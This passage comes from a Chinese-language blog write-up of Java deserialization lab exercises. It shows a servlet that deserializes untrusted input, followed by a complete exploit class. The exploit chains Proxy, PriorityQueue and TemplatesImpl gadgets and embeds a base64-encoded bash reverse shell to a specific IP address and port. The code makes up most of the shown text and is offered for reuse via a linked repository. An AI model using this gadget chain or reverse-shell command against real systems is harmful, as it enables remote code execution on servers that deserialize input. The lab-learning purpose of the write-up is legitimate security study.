但是怎么都绕不过去

麻了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package lab7;

import lab1.Utils;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.util.Scanner;

public class Index {
public static void main(String[] args) throws Exception{
Scanner scanner = new Scanner(System.in);
String data = scanner.next();
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
String name = myObjectInputStream.readUTF();
int year = myObjectInputStream.readInt();
if (name.equals("SJTU") && year == 1896)
myObjectInputStream.readObject();

}
}

Lab9-proxy

没有限制的反序列化

1
2
3
4
5
6
7
8
9
10
publicclass IndexController {
@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data", required =true) String data, Model model)throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream =new ByteArrayInputStream(b);
ObjectInputStream objectInputStream =new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "index";
}
}

存在一个可序列化的MyInvocationHandler 类,会获取类里面的方法并直接调用,这很显然就可以像JDK7u21的链子一样利用TemplatesImpl ,不过这里在执行的时候需要有两个参数不能利用HashSet了,不然会因为args没有值而导致空指针异常

1
2
3
4
5
6
7
8
9
10
public class MyInvocationHandler implements InvocationHandler, Serializable {
private Class type;

public Object invoke(Object proxy, Method method, Object[] args)throws Throwable {
Method[] methods =this.type.getDeclaredMethods();
for (Method xmethod : methods)
xmethod.invoke(args[0],new Object[0]);
returnnull;
}
}

可以利用PriorityQueue

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package Test;

import com.yxxx.javasec.deserialize.MyInvocationHandler;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.*;

public class Exp {
public static void setField(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{

String command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTYuMi4xNjYvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}";
final Object templates = Gadgets.createTemplatesImpl(command);

MyInvocationHandler handler = new MyInvocationHandler();
setField(handler, "type", Templates.class);
Comparator proxy = (Comparator) Proxy.newProxyInstance(Exp.class.getClassLoader(), new Class[]{Comparator.class}, handler);

PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(1);

setField(priorityQueue, "queue", new Object[]{templates, 1});
setField(priorityQueue, "comparator", proxy);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(priorityQueue);
System.out.println(bytesTohexString(bos.toByteArray()));

}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}

}

结果:

img

img

小结

(学Java真快乐,嘻嘻)

lab7等以后学得更透彻了,知道该怎么过了再来补充吧,而lab8的jar包是lab6的,就不多做了

整个过程下来还是学到了很多以前不会的点的,虽然感觉现在web可能越来越卷了,以后应该也遇不到类似的题目,但学到了知识还是挺好的!

(以上题目相关的exp代码都有放到github上,有兴趣的师傅也可以看看https://github.com/ameuu/javaLearning

bye!

Reference

JavaDerserializeLabs-writeup - noViC4的笔记本

Java JRMP - zpchcbd - 博客园 (cnblogs.com)